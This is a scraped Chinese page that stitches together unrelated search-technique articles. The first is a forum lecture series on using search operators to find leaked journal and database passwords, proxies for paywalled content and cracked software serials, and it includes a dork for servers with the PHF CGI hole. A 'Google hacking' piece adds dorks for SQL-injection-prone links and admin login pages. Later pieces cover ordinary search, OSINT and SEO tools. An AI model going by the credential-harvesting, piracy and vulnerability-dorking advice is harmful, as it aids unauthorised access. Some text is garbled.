　　(1)定點(diǎn)數據庫和期刊搜索。還是同第一講一樣，主要分析關(guān)鍵詞的選擇。當然關(guān)鍵詞之一是這個(gè)數據庫的名稱(chēng)。大家注意了：數據庫名稱(chēng)一定要用全稱(chēng)和簡(jiǎn)稱(chēng)都試試。
　　關(guān)鍵詞之二是free,ID,password,user name。
　　為什么這個(gè)關(guān)鍵詞?其實(shí)這些只能稱(chēng)作是一個(gè)關(guān)鍵詞，因為它們具有同性或不相容性。如elservier數據庫，你最好不要用username和password，因為它主要是采用IP限制的。因而你的重點(diǎn)放在pxory!而不是上述的任何一個(gè)。而找某一雜志，則多用user name 和ID/pas
　　sword合用(注：ID/password只可用一個(gè)!)，因為雜志往往個(gè)人購買(mǎi)，便擁有帳號了。
　　關(guān)鍵詞三：這些數據庫可能出現的地方?大學(xué)圖書(shū)館最多!即使是雜志，圖書(shū)館也較個(gè)人帳號多。那么圖書(shū)館主頁(yè)上有哪些關(guān)鍵詞?library,database,trial,free....，可看看國內一些圖書(shū)館的主頁(yè)，仔細分析比較，便能找到一些共性的東西。
　　(2)定點(diǎn)論文搜索。
　　論文，在國外通用PDF格式，因而論文搜索必須用PDF這個(gè)核心內容。即找后綴為PDF的東東，語(yǔ)法：filetype DF 這是關(guān)鍵之一
　　關(guān)鍵詞之二：找你所需論文的題或文摘中最怪的詞!而不是常用詞。(不要用很專(zhuān)業(yè)的詞往往能找到相近的論文，所謂無(wú)心插柳了)
　　命中率高，但最好是題目中出現的詞，為什么?因為往往許多個(gè)人站點(diǎn)收錄了不少論文，而這些論文往往是以題目名稱(chēng)作為索引的。
　　第三講 實(shí)戰演習-----專(zhuān)業(yè)文獻搜索技巧。
　　專(zhuān)業(yè)文獻與普通文獻不同，很難查到。這是本人長(cháng)期搜索的技巧，十分有效，查專(zhuān)業(yè)文獻實(shí)在好!
　　1. 查找某本專(zhuān)業(yè)刊物的登錄密碼，如Brain Res
　　首先選關(guān)鍵詞：雜志名(Brain Res)，登錄(sign in)，密碼(password)
　　這樣成功率并不高，其實(shí)細細看來(lái)，不應有登錄，因為許多提供密碼的地方，并不出現登錄這個(gè)詞，而多出現用戶(hù)名(user name)，而且雜志名多用全稱(chēng)(brain research),再試試
　　!哦，成功了!
　　2. 查找某篇論文的全文，尤其是外文文獻，許多全文服務(wù)均需收費。
　　當然可先按第一種方法搜索一下，看看有無(wú)密碼可尋，若無(wú)，則找到該篇論文的特殊字段(key words),然后搜索PDF文件。不過(guò)這有幾個(gè)條件，一是該雜志確已上網(wǎng)，有明確地址 ,其二，一般需在1997年以后文獻才可。
　　舉例：Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
　　這篇論文是收費的。采用：inurldf:Gattullo Pagliaro coronary，結果24項，找到其中的第2頁(yè)，有下面一項Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
　　... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
　　147.46.94.112/journal/sej/j_l/l339.htm - 14k - 網(wǎng)頁(yè)快照 - 類(lèi)似網(wǎng)頁(yè)
　　打開(kāi)網(wǎng)頁(yè)快照，第一篇即是其目錄，下載即可!OK!成功
　　3. 查找專(zhuān)業(yè)軟件的破解軟件或注冊碼
　　常規軟件的注冊碼很好找，但專(zhuān)業(yè)軟件太少，而且注冊碼也少，破解更少，如何找?
　　如找origin 6.1版的破解版，或注冊碼。不管采用網(wǎng)易、搜狐等軟件搜索，均找不到該軟件。那么只好借用特殊搜索了。
　　分析：一般有些破解軟件的頁(yè)面一般至少有以下一些信息：軟件名稱(chēng)，版本，序列號(serial number, OR sn)，破解(crack, OR CRK),提供下載的地方有.ZIP字樣(壓縮文件為多
　　)。為了方便起見(jiàn)，也防止版本太精確反而不易搜索的特點(diǎn)，在googlek 輸入origin 破解， 哦!OK!成功!如果其它的軟件一次搜索的結果太多的話(huà)，則考慮加6.1以減小其搜索范圍?；蛩阉鹘Y果太少且不是需要的話(huà)，將破解換為"注冊碼"試試，一般效果不錯。
　　4. 查找中文文獻的免費全文如我知道重慶維普提供免費全文服務(wù)，但目前許多站點(diǎn)都不能用了。另外，還有萬(wàn)方數據庫、CNKI也提供，那么我如何查到這些數據庫的免費入口呢?
　　這需要一定的技巧，采用google或百度試試：輸入：重慶維普 密碼哦!66項!仔細找一找，必有結果!OK!
　　第四講 百度與google比較 。
　　大家好，這一講講百度與google比較
　　搜索英文不必說(shuō)用google，搜索中文呢?
　　很多人并不了解它們更新的情況，google發(fā)展早，因而它貯存了大量舊的信息，百度發(fā)展遲，信息較新。
　　更新速度：對中文google一般半月至一月一更新，而且僅搜索到三級鏈接，三級以下便不在搜索，那么我如何看到最新的google搜索的結果呢?這個(gè)站點(diǎn)：，可見(jiàn)google采用不同服務(wù)器逐步更新的。百度的更新較快，半月一次，最快一周。那么如何衡梁這半月與一月的差劇與價(jià)值?
　　對于一些試用數據庫，有效期短，或象萬(wàn)方等一月一換密碼，最好選用百度，現在維普老是打一槍換一個(gè)地方，因而也只好用百度了，google往往搜索出來(lái)的結果已過(guò)期了。而能長(cháng)期使用的密碼或數據庫，一般象國外的(國內有沒(méi)有，我真不知道)，最好用google，
　　畢竟技術(shù)更老道一些，搜索出的結果更多，更廣!
　　第五講 補充講一點(diǎn)關(guān)鍵詞的選擇。
　　關(guān)于關(guān)鍵詞，最近看到高手huangwei98 公布的一些關(guān)鍵詞，很值得參考。但總之一句話(huà)，
　　高手=技巧+時(shí)間，有時(shí)多看看，往往獲得其它的密碼，這是太正常的事了。
　　關(guān)鍵詞組合：
　　nurse journal password
　　new medicine password
　　What's New medicine password
　　périodiques électroniques password( 注意了，不是英文字母樣!)
　　biomedical library password
　　LWW Journal Collection password
　　Bibliotekets databaser password
　　Kluwer Online password
　　journalwebsite password
　　基本路子仍是數據庫+password+補充性關(guān)鍵詞(或稱(chēng)定向性關(guān)鍵詞)
　　所謂定向性關(guān)鍵詞是將你的檢索范圍定于某一可能的區域，如圖書(shū)館、個(gè)人站點(diǎn)，以縮小檢索范圍。如單個(gè)雜志，可定位于個(gè)人，若是數據庫檢索，則宜加library，因為個(gè)人是不會(huì )買(mǎi)數據庫的。同時(shí)另一個(gè)定向是生物和醫學(xué)，所用的關(guān)鍵詞medicine,biology,biomed.
　　當然仍可加第三定向關(guān)鍵詞，如雜志(journal)、免費(free)、在線(xiàn)(online)，但一定要注意第三關(guān)鍵詞的特征性不強，要選擇使用，不可過(guò)用，否則會(huì )將一大批可能有用的站點(diǎn)排除掉，切記!
　　但這主要針對國外的，而國內的一般多在各大學(xué)圖書(shū)館內，常用密碼、免費、雜志、數據庫名等搜索，效果較好。
　　但對于有些雜志，如sciencedirect,Ideallibrary多采用IP驗證方式，一般密碼并不能用，這時(shí)多采用代理服務(wù)器方式，因而如何找到有效的代理太重要的。如清華的elsevier便是代理。下下一講講如何找代理。
　　第六講 關(guān)鍵詞聯(lián)合使用。
　　國內圖書(shū)館提到數據庫往往只提***數據庫，而國外圖書(shū)館多列出該數據庫內各種雜志名，而且多按字母分類(lèi)。因而為了提高檢索的準確率，一般將同一數據庫內的雜志的首字母相同的雜志名用兩到三個(gè)聯(lián)合搜索，再結合前面講的加用其它關(guān)鍵詞，能有效縮小檢索范圍
　　，翕中率極高。從這里可以看到，如果透徹分析一些圖書(shū)館內主頁(yè)設計的特征，是搜索的關(guān)鍵。
　　如檢索brain research,可列出brain research bulltin，同時(shí)檢索，效果要好些。
　　第七講 搜索公開(kāi)的代理服務(wù)器技巧。
　　中文：
　　代理 維普(或其它數據庫名) 數據庫，能找到一些，但國內一般真正使用代理的較少。
　　英文：
　　proxy 數據庫名 IE netscape
　　效果非常好，但一定要注意，許多地方不僅用代理服務(wù)器，而且需密碼認證，不可過(guò)于樂(lè )觀(guān)!應認真鑒別。
　　第八講。先插幾句廢話(huà)，本論壇的目的是培養真正懂得搜索技巧的人員，當然搜索技巧不只是密碼之類(lèi)，還應包括檢索常用文件，pubmed等，這也是水平和本領(lǐng)，切不可以找密碼為樂(lè )。我們應該培養全方位的文獻檢索能力，否則即使有密碼，也未必找到自己所需的信息，網(wǎng)海茫茫，有用者若斯!
　　現在進(jìn)入正題，今天講百度和google語(yǔ)法，其實(shí)這在從google入門(mén)到精通中都有所闡述這是重提，以示重視，并無(wú)太多的新意，只是將大理論與實(shí)際相結合起來(lái)。
　　找特定文件名的文件，尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV，PPT這些文件名都是網(wǎng)友想找的重點(diǎn)，至于各是什么類(lèi)型文件，請上網(wǎng)查一下便知道了，這里不多說(shuō)了。尤其老板讓你做個(gè)powerpoint，找不到圖怎么辦?用google去搜索。
　　方法是利用語(yǔ)法filetype:后綴名。
　　如找PDF文件，在正常關(guān)鍵詞后面加filetype DF即可，搜索結果全是PDF文件。這是我寫(xiě)的另一篇，可參考：
　　... p;ID=839&page=1
　　找特定題目的網(wǎng)頁(yè)語(yǔ)法intitle:網(wǎng)站
　　查找友情鏈接：
　　"link:"(英文單字link后加冒號)用于搜索鏈接到某個(gè)URL地址的網(wǎng)頁(yè)?？梢粤私庥心男┚W(wǎng)頁(yè)把鏈接指向您的網(wǎng)頁(yè)查找特定站點(diǎn)：
　　site:*.com
　　如 金庸 古龍 site:
　　但不可加入或/這類(lèi)，否則是錯的。
　　"cache"用來(lái)搜索GOOGLE服務(wù)器上某頁(yè)面的緩存，通常用于查找某些已經(jīng)被刪除的死鏈接網(wǎng)頁(yè)，相當于使用普通搜索結果頁(yè)面中的"網(wǎng)頁(yè)快照"功能。
　　示例：查找GOOGLE緩存的中文yahoo首頁(yè)
　　搜索："cache:"
　　info用來(lái)顯示與某鏈接相關(guān)的一系列搜索，提供cache、link、related和完全包含該鏈接的網(wǎng)頁(yè)的功能。
　　示例：查找和新浪首頁(yè)相關(guān)的一些資訊。
　　搜索："info:"
　　結果：有的網(wǎng)頁(yè)信息。
　　示例：查找美國教育網(wǎng)上的宇宙大爆炸jpg圖片
　　搜索："BIG BANG filetype:jpg site:edu"
　　結果：搜索有關(guān) BIG BANG filetype:jpg site:edu 的圖片
　　第九講，專(zhuān)講一個(gè)特殊語(yǔ)法，很有用：inurl。
　　"inurl"語(yǔ)法返回的網(wǎng)頁(yè)鏈接中包含第一個(gè)關(guān)鍵字，后面的關(guān)鍵字則出現在鏈接中或者網(wǎng)頁(yè)文檔中。有很多網(wǎng)站把某一類(lèi)具有相同屬性的資源名稱(chēng)顯示在目錄名稱(chēng)或者網(wǎng)頁(yè)名稱(chēng)中，比如"MP3"、"GALLARY"等，于是，就可以用INURL語(yǔ)法找到這些相關(guān)資源鏈接，然后
　　，用第二個(gè)關(guān)鍵詞確定是否有某項具體資料。INURL語(yǔ)法和基本搜索語(yǔ)法的最大區別在于，前者通常能提供非常精確的專(zhuān)題資料。
　　示例：查找MIDI曲"滄海一聲笑"。
　　搜索："inurl:midi 滄海一聲笑"
　　結果：已搜索有關(guān)inurl:midi 滄海一聲笑的中文(簡(jiǎn)體)網(wǎng)頁(yè)。
　　示例：查找微軟網(wǎng)站上關(guān)于windows2000的安全課題資料。
　　搜索："inurl:security windows2000 site:"
　　結果：已在內搜索有關(guān)inurlecurity windows2000 的網(wǎng)頁(yè)。
　　注意："inurl:"后面不能有空格，GOOGLE也不對URL符號如"/"進(jìn)行搜索。例如，GOOGLE會(huì )把"cgi-bin/phf"中的"/"當成空格處理。
　　而一般眾多密碼或數據庫往往出現在鏈接之中，如查Ideallibrary
　　inurl:ideallibrary proxy passowrd(ID)
　　"allinurl"語(yǔ)法返回的網(wǎng)頁(yè)的鏈接中包含所有作用關(guān)鍵字。這個(gè)查詢(xún)的關(guān)鍵字只集中于網(wǎng)頁(yè)的鏈接字符串。
　　示例：查找可能具有PHF安全漏洞的公司網(wǎng)站。通常這些網(wǎng)站的CGI-BIN目錄中含有PHF腳本程序(這個(gè)腳本是不安全的)，表現在鏈接中就是"域名/cgi-bin/phf"。
　　語(yǔ)法："allinurl:"cgi-bin" phf +com"
　　搜索：已向英特網(wǎng)搜索allinurl:"cgi-bin" phf +com. 共約有37項查詢(xún)結果，這是第1-10項 。搜索用時(shí)0.36秒
　　補充講site語(yǔ)法
　　site即將搜索定位于某一個(gè)域名上，有利于縮小搜索范圍，提高搜索效率 。如keywords site:edu，效果很好!可以方便地搜索到各大學(xué)內有用的資源，至于關(guān)鍵詞的選擇，其它講都有了。
　　site:tw, site:edu.tw, site: .......
　　這是定位于國家或地區，將搜索局限于某些國家或地區，或加上edu，則是這些國家或地區的大學(xué)，效果自然更好。如果site:則搜索國內醫科大學(xué)內的資源(會(huì )漏綜合性大學(xué)的資源的，要慎用)。
　　一般的，歐美人的版權意識強，一般密碼不易公布，相反，非洲、美洲、亞洲則往往公開(kāi)密碼，這是獲得密碼的最重要來(lái)源之一，善于利用這些地方的資源有助于提高搜索效率。這是site兩大好處，不可忽視!
　　也許您正為文章煩惱，一篇論文完成耗時(shí)數月，而在發(fā)表時(shí)卻是坎坷萬(wàn)千。
　　我們提供以下指導和服務(wù):
　　評估服務(wù)、翻譯、潤色服務(wù)、文章綜合編輯服務(wù)、SCI論文降重、文章校對等SCI論文服務(wù)。
　　
　　識別二維碼即可咨詢(xún)
　　尚輯Sagesci ● SCI論文服務(wù)品牌
　　 查看全部

　　好可怕的搜索引擎！
　　來(lái)源 |小白學(xué)黑客
　　作者 |小白哥
　　信息搜集和社會(huì )工程學(xué)是網(wǎng)絡(luò )安全的非常重要組成部分。
　　今天這篇文章就來(lái)介紹下信息搜集方面經(jīng)常用到的技術(shù)：Google Hacking，就算暫時(shí)沒(méi)有太多專(zhuān)業(yè)的網(wǎng)絡(luò )安全知識，但是如果能熟練運用搜索引擎，也能變身一個(gè)小小的黑客。
　　
　　Google Hacking，字面意思是利用 Google 搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為，現在已經(jīng)引申為利用一切搜索引擎進(jìn)行網(wǎng)絡(luò )入侵的技術(shù)和行為。
　　搜索引擎大家都用過(guò)，在搜索框中輸入關(guān)鍵詞，一鍵回車(chē)，結果就展示在我們面前。但實(shí)際上，這個(gè)搜索框內藏玄機，除了關(guān)鍵詞，還有別的用法。
　　
　　搜索引擎對于搜索的內容提供了多種語(yǔ)法，通過(guò)構造特定的搜索語(yǔ)句，能夠快速全面地讓攻擊者挖掘到有價(jià)值的信息。
　　本文列舉一些常用的例子，如果沒(méi)有特別說(shuō)明，本文列出的搜索語(yǔ)法在 Google 和百度中都能適用，本文內容以 Google 為例展示。
　　site
　　語(yǔ)法：site
　　作用：限定在特定的網(wǎng)址中搜索
　　有時(shí)候全網(wǎng)搜索有點(diǎn)像大海撈針，而如果我們有特別關(guān)心的網(wǎng)站，想只顯示這個(gè)網(wǎng)站的搜索結果，就可以用到 site 語(yǔ)法，比如我在微軟的官網(wǎng)內搜索漏洞編號 CVE-2014-4114：
　　
　　可以看到，顯示的結果都是在指定網(wǎng)站中的，大大減少了我們在海量信息中的篩選成本。
　　實(shí)際上，不少網(wǎng)站為了省事，這些網(wǎng)站的站內搜索功能就是利用搜索引擎的 site 語(yǔ)法來(lái)實(shí)現的。
　　filetype
　　語(yǔ)法：filetype
　　作用：搜索特定的文件類(lèi)型
　　有時(shí)候我們想找特定類(lèi)型的文檔，比如 PPT、PDF 等，但默認情況下出來(lái)的都是網(wǎng)頁(yè)，很難找到我們想要的內容，這個(gè)時(shí)候就可以用上 filetype 語(yǔ)法。比如我想搜索 web 安全相關(guān)的 PDF 電子書(shū)：
　　
　　這下出來(lái)的，都是我們想要的了，用這一招搜索技術(shù)文檔、電子書(shū)等等屢試不爽哦。
　　inurl
　　語(yǔ)法：inurl
　　作用：在 URL 中搜索出現指定內容的鏈接
　　這一個(gè)語(yǔ)法有什么用？普通人很少直接關(guān)心鏈接本身的內容，但是對于咱們 hacker 來(lái)說(shuō)，URL 就重要了，比如我們可以用來(lái)搜索可能存在 SQL 注入的鏈接：
　　
　　除了 SQL 注入，還可以搜索可能存在的網(wǎng)站后臺管理入口：
　　如果我們再加上前面的 site 語(yǔ)法組合使用，就可以找出指定網(wǎng)站的這種鏈接了，定向尋找攻擊點(diǎn)。
　　intitle
　　語(yǔ)法：intitle
　　作用：在網(wǎng)頁(yè) title 中搜索出現指定內容的網(wǎng)頁(yè)
　　除了在 URL 中搜索，咱們還能在標題中搜索。一般網(wǎng)站后臺管理頁(yè)面都會(huì )帶有“后臺”、“管理”、“登錄”等字眼，我們可以通過(guò)在 HTML 的 title 字段位置搜索這些關(guān)鍵詞，尋找可疑的后臺登錄頁(yè)面。
　　
　　intext
　　語(yǔ)法：intext
　　作用：除了 URL 和 title，剩下的就是正文位置搜索了
　　比如我們搜索使用 discuz 搭建的論壇網(wǎng)站：
　　
　　Google Hacking DataBase
　　看了這么多，不知道你學(xué)廢了嗎？
　　如果沒(méi)有也沒(méi)有關(guān)系，這里有個(gè)神器：Google Hacking 數據庫，匯集了非常多的有價(jià)值的搜索語(yǔ)句，你可以用這些來(lái)搜搜看，看看能不能發(fā)現些什么信息。
　　
　　學(xué)會(huì )使用搜索引擎，是每一個(gè) hacker 必備的技能之一，看完這篇趕緊操練起來(lái)，動(dòng)動(dòng)手試一試。不過(guò)以學(xué)習為主，切莫拿去做違法事情哦，現在的網(wǎng)絡(luò )安全法那可不是鬧著(zhù)玩的！ 查看全部

　　這幾個(gè)百度搜索技巧，小電影都搜的到！
　　
　　先說(shuō)百度網(wǎng)盤(pán)網(wǎng)盤(pán)是個(gè)好東西，現在除了被干掉的快播，就某某網(wǎng)盤(pán)最火了，當然，最火的這個(gè)不是百度網(wǎng)盤(pán)。
　　我們看圖說(shuō)話(huà)：
　　再來(lái)個(gè)正兒八經(jīng)的（你也可以搜必的小電影）
　　
　　完美??！
　　在看看python書(shū)籍
　　
　　pdf也是個(gè)好東西
　　
　　下面介紹幾種百度搜索技巧
　　1、 關(guān)鍵詞加引號
　　比如我要搜索：python教程app，在搜索的時(shí)候很有可能會(huì )把”pthon“和“教程app”拆分開(kāi)，然后分別進(jìn)行搜索，這時(shí)候我們可以把關(guān)鍵詞放入引號內，就代表完全匹配搜索，也就是所顯示的搜索結果一定包含完整的關(guān)鍵詞，不會(huì )出現近義詞和拆分的情況。
　　
　　這不就是老曾寫(xiě)的App嗎？
　　2、site：用于搜索指定網(wǎng)站下的關(guān)鍵信息
　　比如我只想在我自己博客網(wǎng)站上搜索“計算”這個(gè)信息，我可以使用關(guān)鍵詞 site：計算 進(jìn)行搜索，這樣搜出來(lái)的信息都是我博客上的內容。如下圖：
　　
　　3、在標題里面限定進(jìn)行精準搜索
　　如果我們想得到搜索結果的標題中包含我們輸入的關(guān)鍵詞，這時(shí)候可以用intitle：進(jìn)行限定。
　　比如我想搜索引擎返回的結果在標題里面包含“程序員”這個(gè)關(guān)鍵詞，可以輸入關(guān)鍵詞：intitle：程序。如下圖：
　　
　　4、 精準搜索你要的文檔類(lèi)資料
　　有時(shí)候我們想在百度上找某個(gè)課程的文檔，但是搜出來(lái)的信息總不是自己想要的，可以試一下關(guān)鍵詞：filetype:+文檔格式。
　　比如我們想在網(wǎng)上搜索高等數學(xué)課doc格式的文章，我們可以這樣搜索：python filetype:ppt，如下圖：
　　
　　5、 指定鏈接進(jìn)行精準搜索
　　在網(wǎng)頁(yè)鏈接中我們可以限定關(guān)鍵詞進(jìn)行搜索，只要在關(guān)鍵詞前面加：inurl:
　　例如：我要精準搜索關(guān)鍵詞：Java
　　可以輸入關(guān)鍵詞：inurl:Java，如下圖：
　　
　　-------------------------
　　記住，搜索的時(shí)候關(guān)鍵詞越短越好，搜索內容就越多
　　譚慶波
　　就這些，各位朋友，覺(jué)得有用的話(huà)記得點(diǎn)個(gè)贊！
　　微信8.0將好友放開(kāi)到了一萬(wàn)，小伙伴可以加我大號了，先到先得，再滿(mǎn)就真沒(méi)了 查看全部

　　【工具類(lèi)】查找指定位置附近的社交媒體內容
　　
　　在FB和INS上，我們可以搜索指定位置的發(fā)帖內容。但是這樣工作效率太低，我們無(wú)法全面掌握目標區域內的所有內容（除非有一張該區域內可搜索的地點(diǎn)清單）。網(wǎng)頁(yè)工具Instahunt為我們提供了很好的幫助，能夠快速在地圖顯示指定位置附近所有的FB和INS鏈接。
　　Instahunt鏈接：
　　
　　
　　
　　
　　1.賬號登錄
　　搜索之前登錄您的FB賬號和INS賬號
　　
　　2.獲取JSON數據在右上角填入目標位置，之后點(diǎn)擊左上角FIND PLACES得到所有JSON輸出
　　
　　3.地圖可視化將JSON輸出復制粘貼至指定文本框中，單擊“映射您的INS地點(diǎn)”按鈕后即可在地圖上顯示周?chē)械腇B和INS帖子，之后選擇感興趣的地點(diǎn)單擊“查看帖子”即可。
　　以頓涅茨克為例，使用其烏克蘭語(yǔ)Донецьк作為搜索關(guān)鍵詞，在地圖上顯示的圖像如下所示：
　　
　　經(jīng)過(guò)逐一查看，其中我們認為具有開(kāi)源情報價(jià)值的是位于Парк кованых фигур（鍛造人物公園）的一條INS：
　　
　　關(guān)鍵信息：兩天前發(fā)布；頓涅茨克；坦克。
　　針對熱點(diǎn)事件，或許在之后的開(kāi)源情報過(guò)程中也能利用類(lèi)似方法提前預知局勢走向。 查看全部

　　技巧 | 如何搜索公眾號里的指定內容 ？
　　
　　本期概要 :在使用微信，查找公眾號相關(guān)資料和內容的時(shí)候，我們往往會(huì )用到搜索。但是很多朋友不清楚如何在指定公眾號下面搜索特定的內容，需要一條一條翻閱歷史消息，非常痛苦，今天給大家介紹簡(jiǎn)單易用的方法，輕松地找到你需要的內容。
　　
　　以本公眾號為例，方法可以用在所有其他公眾號里。
　　
　　第一步：點(diǎn)擊所有文章，跳轉到歷史文章的頁(yè)面。
　　
　　第二步：把界面，整體往下拉。
　　
　　第三步：出現搜索框，可以進(jìn)行搜索了。
　　
　　
　　第四步：隨意鍵入您要的關(guān)鍵詞。建議輸入少量精確的詞語(yǔ)。
　　視頻教程：
　　 查看全部

　　如何一鍵識別網(wǎng)站質(zhì)量？如何一秒搜索精準內容？
　　前者可以幫你快速判斷一個(gè)網(wǎng)站到底有沒(méi)有料，提高信息篩選的效率；后者可以幫你快速定位自己要找的信息，即自定義搜索。
　　畢竟明明只想搜索網(wǎng)站A、B、C的內容，卻一直刷到網(wǎng)站D、E、F的鏈接，是很頭疼的。
　　—1—
　　MozBar谷歌插件
　　1.MozBar谷歌插件
　　第一款分享的工具是MozBar谷歌插件, 在谷歌瀏覽器的擴展程序中先安裝插件。
　　
　　下載地址：
　　
　　這已經(jīng)是個(gè)很出名的老牌搜索引擎優(yōu)化插件了，可以用來(lái)評判網(wǎng)站好壞。
　　不僅可以用來(lái)評估別人的網(wǎng)站、網(wǎng)頁(yè)質(zhì)量，也可以用來(lái)評估自己的網(wǎng)站表現。
　　其中有兩個(gè)值需要注意 :0-100取值，越大越優(yōu)秀
　　DA（Domain Authority），網(wǎng)站權重的指標；
　　PA（Page Authority），網(wǎng)頁(yè)權重指標。
　　左上角綠色圖標還可以導出網(wǎng)頁(yè)搜索的相關(guān)數據。
　　
　　
　　2. Mozbar一鍵識別網(wǎng)站質(zhì)量
　　具體用法舉個(gè)例子吧。
　　如果我要找紅人做推廣，在網(wǎng)上搜到了一系列紅人資源后，想排查紅人的質(zhì)量，就可以用到MozBar。
　　首先搜索我們想讓這個(gè)紅人進(jìn)行推廣的，紅人的主頁(yè)，比如我們想讓紅人做YouTube的推廣，就搜索其YouTube主頁(yè)。
　　這個(gè)YouTube美妝博主的賬號DA高達100，主頁(yè)的PA達76，說(shuō)明她的熱度非常高，有條件的話(huà)完全可以放心找她合作。
　　同理MozBar也可以用來(lái)分析其他站點(diǎn)的質(zhì)量。
　　
　　—2—
　　谷歌自定義搜索引擎
　　
　　在介紹這個(gè)有點(diǎn)燒腦的工具之前，先和大家分享一件趣事。（其實(shí)按照我分享的步驟操作并不難掌握）
　　今天同事咨詢(xún)我該怎么扒原貼。
　　他在網(wǎng)頁(yè)看到這張圖，想找原帖，但即使知道這是博主在Facebook發(fā)布的帖子，也知道是2019年發(fā)布的，甚至連文本內容都知道，可他就是沒(méi)辦法在博主的Facebook主頁(yè)扒出來(lái)這條陳年老帖。
　　
　　即使設置好了搜索條件，右側的顯示也跟原帖毫不相干。
　　
　　而我用谷歌自定義搜索引擎來(lái)搜索，一下子就找到了這條帖子，而且搜索結果非常精準，就是這一條內容。
　　
　　
　　1.谷歌自定義搜索引擎是什么
　　先貼網(wǎng)址：
　　歡迎大家先來(lái)看一下我的的小粉紅乞丐版自定義搜索引擎，是不是跟平常我們在谷歌的搜索很不一樣？
　　外觀(guān)可以自定義，要搜索的內容也可以定向。
　　
　　分為幾個(gè)板塊，第一個(gè)板塊是搜索標簽；第二個(gè)板塊是谷歌的廣告內容；第三個(gè)板塊是搜索結果。
　　如果我想搜索網(wǎng)站內容，就選擇Web，如果想搜索圖片內容，就選擇Image。
　　我把All results標簽設置為包含右邊所有標簽。
　　即我用All results標簽搜索”小米手機“，就會(huì )得到twitter、Facebook、tumblr、 reddit、youtube這幾個(gè)網(wǎng)站里，所有關(guān)于”小米手機“的內容。
　　
　　
　　當然我也可以根據各個(gè)不同標簽找。
　　比如我想搜索twitter里所有關(guān)于”小米手機“的帖子，就直接用twitter的標簽進(jìn)行搜索。
　　是不是很方便！
　　
　　
　　2.手把手教你設置自定義搜索
　　a)第一步：新增搜索引擎
　　以下為設置初步自定義搜索的流程。
　　打開(kāi)網(wǎng)址：
　　
　　點(diǎn)擊添加，填寫(xiě)內容，然后點(diǎn)擊創(chuàng )建。
　　
　　創(chuàng )建完成后會(huì )顯示該界面。
　　
　　我們先來(lái)點(diǎn)擊公開(kāi)網(wǎng)址，如圖：
　　
　　在搜索框我們試著(zhù)搜索一下最近的東北虎熱點(diǎn)事件：
　　
　　我們看到出來(lái)的都是Facebook(twitter也有顯示在后面）上關(guān)于東北虎的討論，非常精準。
　　接著(zhù)點(diǎn)擊修改搜索引擎控制臺，如圖：
　　
　　這里大家可以自行設置，但是注意，正常情況下建議打開(kāi)圖片搜索和安全搜索。
　　
　　b)第二步：修改搜索引擎
　　
　　這是我之前設置好參數的自定義搜索引擎”測試版“。
　　左邊進(jìn)行設置的同時(shí)，可以在右邊看到預設的界面。外觀(guān)設置就不說(shuō)了，大家按照自己的喜好去調整。
　　標簽的設置是在”“搜索功能”的“優(yōu)化一欄。
　　
　　按照自己的需要添加標簽。
　　比如我想有一個(gè)標簽專(zhuān)門(mén)顯示Facebook的內容，我就把標簽命名為”Facebook“（或者其他自定義名稱(chēng)），并選擇”進(jìn)搜索具有此標簽的網(wǎng)站“。
　　
　　創(chuàng )建完標簽后回到設置欄，下拉。
　　勾選你要添加進(jìn)標簽的網(wǎng)站（可以勾選多個(gè)），選擇標簽，就完成對標簽的設置了。
　　乞丐版自定義搜索引擎完成。
　　
　　
　　3.普通搜索 vs 自定義搜索
　　設置完成后我們可以對比兩個(gè)搜索引擎進(jìn)行搜索。
　　比如我想做小米手機在twitter的市場(chǎng)調研，想知道twitter里關(guān)于小米手機的帖子大多在討論什么內容。
　　我嘗試著(zhù)在普通谷歌瀏覽器搜索“小米手機+twitter”。
　　前五的結果除了第一條是來(lái)自推特的標簽，剩下的全是來(lái)自其它網(wǎng)站。
　　
　　我用自定義搜索引擎來(lái)試試看。
　　直接在我剛才設置好的搜索引擎里，選擇twitter的標簽，然后搜索“小米手機”。
　　除了前面的廣告頁(yè)，直接拉下來(lái)，搜索到的全是來(lái)自twitter的內容。
　　直接提高我做市場(chǎng)調查的效率有沒(méi)有！自定義搜索引擎完勝。
　　
　　—3—
　　結語(yǔ)
　　以上兩個(gè)工具還有很多功能，感興趣的朋友完全可以繼續摸索。比如谷歌自定義搜索引擎其實(shí)也是站長(cháng)們可以利用起來(lái)的好工具。
　　可以用來(lái)給自己的網(wǎng)站做一個(gè)導航鏈接分享出去，甚至可以自定義廣告欄，曾經(jīng)谷歌是收廣告費的莊家，現在收廣告費的莊家成了你。
　　而MozBar不僅僅能分析網(wǎng)頁(yè)/網(wǎng)站質(zhì)量，還能分析關(guān)鍵字排名、網(wǎng)站SEO強度、SEO分析...這簡(jiǎn)直就是給你開(kāi)了外掛，可以用來(lái)分析別人網(wǎng)站的流量具體是怎么跑的。
　　但對于想提高搜索效率的基礎玩家，這兩款工具的初級玩法也完全夠用了。 查看全部

　　搜索意圖和銷(xiāo)售漏斗——B2B網(wǎng)站內容部署的指路燈
　　對于B2B企業(yè)來(lái)說(shuō)，官方網(wǎng)站的營(yíng)銷(xiāo)運營(yíng)中是整個(gè)品牌營(yíng)銷(xiāo)活動(dòng)非常重要又比較棘手的部分。而其中網(wǎng)站的內容部署更是一個(gè)較為花費精力的環(huán)節。
　　B2B企業(yè)網(wǎng)站缺乏內容嗎？
　　顯然地，熟悉B2B品牌的營(yíng)銷(xiāo)人員都知道自身不缺乏內容。品牌本身?yè)碛写罅康膬热菪问?。品牌故事、產(chǎn)品文案、產(chǎn)品使用手冊（大量的PDF文檔）、FAQ內容、客戶(hù)真實(shí)評論與反饋、行業(yè)資訊和資料等等，這些都是品牌主很容易就可以創(chuàng )建或者現成得到的內容。
　　因此，對于B2B企業(yè)的品牌站來(lái)說(shuō)，內容營(yíng)銷(xiāo)更核心在于如何部署或者釋放這些內容到網(wǎng)站中，利用它們來(lái)獲取流量和提升網(wǎng)站的E-A-T評分。
　　本文主要從搜索意圖和銷(xiāo)售漏斗這兩個(gè)概念出發(fā)，利用這兩個(gè)在SEO和營(yíng)銷(xiāo)學(xué)中基礎的理念介紹如何在B2B企業(yè)的品牌獨立站中部署內容。
